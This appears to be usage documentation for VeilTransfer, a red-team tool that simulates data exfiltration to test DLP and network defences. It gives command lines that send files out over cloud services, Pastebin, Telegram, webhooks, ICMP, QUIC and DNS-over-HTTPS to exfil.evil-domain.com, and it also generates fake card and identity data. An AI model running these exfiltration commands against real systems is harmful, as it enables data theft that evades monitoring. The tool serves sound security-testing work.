Additional Features

Fake Data Generation

VeilTransfer also supports generating fake data, including:

• Indonesia Identity Card (KTP) Numbers: Generate realistic KTP numbers and associated data.
• Credit Card Information: Create fake credit card details in PCI DSS format, including First Name, Last Name, CCN (Visa/MasterCard/AMEX), and Expiration Date.
• Social Security Numbers (SSN): Generate fake SSNs for use in simulations and testing environments.
• Medical Records: Generate fake medical record data in Indonesian (id) or English (en).

Zip Data Creation

Easily create zip files for bundling and compressing data, which can then be used for exfiltration or testing different scenarios. Supports optional splitting into multiple files based on size.

Example Use Cases

• Red Team Operations: Deploy VeilTransfer during red team exercises to challenge blue teams with sophisticated and realistic exfiltration scenarios.
• Purple Teaming: Collaborate with your defensive teams to simulate and then detect exfiltration attempts, refining both offensive and defensive tactics.
• Security Testing: Use VeilTransfer to validate the effectiveness of DLP, NDR, firewall, and other network security measures.

Example Usage

Transfer

Transfer a File via SFTP

This example demonstrates how to securely transfer a file to a remote server using the SFTP protocol. The file is located on the local machine, and it's transferred to the specified remote directory using SSH authentication.

veiltransfer_client transfer sftp -localPath (/path/to/file or /path/to/directory) -remoteDir /remote/path -server example.com:22 -username user -password pass

Transfer Files to a WebDAV Server

In this example, files from a local directory are uploaded to a WebDAV server. The server requires a username and password for authentication. The server parameter includes the URI scheme (https:// or http://).

veiltransfer_client transfer webdav -localPath (/path/to/file or /path/to/directory) -remoteDir /remote/path -server http://webdav.example.com:8080 -username user -password pass

Transfer Files to Mega Cloud

This example shows how to transfer files to Mega Cloud storage. The files are uploaded from a specified local directory, and the authentication is handled using the user's Mega Cloud credentials.

veiltransfer_client transfer mega -localPath (/path/to/file or /path/to/directory) -username megauser@example.com -password megasecretpassword

Transfer Files via FTP

This example, a file is uploaded to an FTP server. The file is transferred to a specific directory on the remote server. The server requires a username and password for authentication.

veiltransfer_client transfer ftp -localPath (/path/to/file or /path/to/directory) -remoteDir /remote/path -server ftp.example.com:21 -username ftpuser -password ftppassword

Upload a File to Pastebin

This example demonstrates how to upload the contents of a file to Pastebin. The content is posted to Pastebin using an API key provided by the user.

veiltransfer_client transfer pastebin -localPath (/path/to/file or /path/to/directory) -apiKey your_pastebin_api_key

Send a File to a GitHub Repository

This example shows how to push a file from the local machine to a specific GitHub repository. The file is added to the repository using the user's GitHub API token for authentication.

veiltransfer_client transfer github -localPath (/path/to/file or /path/to/directory) -repo yourusername/repository -apiKey your_github_api_token

Send a File to a Telegram Channel

This example demonstrates how to send a file to a specific Telegram channel. The file is sent using a Telegram bot API token, and the message is delivered to the specified channel ID.

veiltransfer_client transfer telegram -localPath (/path/to/file or /path/to/directory) -telegramAPI your_telegram_bot_api_token -channelID 123456789

Send Data to a Webhook URL

In this example, the contents of a file are sent to a specified Webhook URL.

veiltransfer_client transfer webhook -localPath (/path/to/file or /path/to/directory) -webhookURL https://webhook.site/your-webhook-url

Transfer Files via DoH (DNS over HTTPS)

To establish a secure data exfiltration mechanism utilizing DNS over HTTPS (DoH), the following DNS records must be configured:

1. A Record: Point test to the IP address <VeilTransfer_IP_Address>.

   test -> <VeilTransfer_IP_Address>

2. NS Record: Define a subdomain (exfil) that is managed by evil-domain.com.

   exfil -> test.evil-domain.com

The domain exfil.evil-domain.com will serve as the DNS Exfil domain.

Then, start the VeilTransfer Server in DoH mode with the following command:

veiltransfer_server doh -key ag36rjsg284nfk2g -folder /root/data/exfil

Note: The encryption key (-key) must be 16 or 32 characters long.

To upload files via DoH, ensure that the VeilTransfer Server is actively running in DoH mode with a valid encryption key. Then, initiate the transfer using the client command:

veiltransfer_client transfer doh -localPath /path/to/file_or_directory -key ag36rjsg284nfk2g -dnsServer exfil.evil-domain.com

Transfer Files via QUIC

To start the VeilTransfer server in QUIC mode, use the following command:

veiltransfer_server quic -cert /path/server.crt -key /path/server.key

Once the server is running, you can upload files or directories using:

veiltransfer_client transfer quic -localPath (/path/to/file or /path/to/directory) -server example.com:443

Transfer Files via ICMP

To enable file transfers via the ICMP protocol, start the VeilTransfer Server in ICMP mode by executing the following command:

veiltransfer_server_linux icmp -folder /path/folder

Once the server is active, execute the following command to transfer files or directories via ICMP:

veiltransfer_client_linux transfer icmp -localPath (/path/to/file or /path/to/directory) -server <ip address>

Create Zip Files

Create a Simple Zip File

Creates a zip archive from a specified directory.

veiltransfer_client create-zip -localPath /path/to/directory -outputPath /path/to/output.zip

Create a Split Zip File

Creates a zip archive split into multiple parts based on the specified size.

veiltransfer_client create-zip -localPath /path/to/directory -outputPath /path/to/output.zip -splitSize 1000000

Data Generator

Generate 100 Fake Credit Card Numbers

This example shows how to generate 100 entries of fake credit card data. The generated data will include credit card numbers, expiration dates, and associated details.

veiltransfer_client generate-fake -ccn -count 100

Generate 50 Fake Indonesian KTP Entries

This example demonstrates how to generate 50 entries of fake KTP data, which are Indonesian identity cards. The data includes personal information such as name, address, and KTP number.

veiltransfer_client generate-fake -ktp -count 50
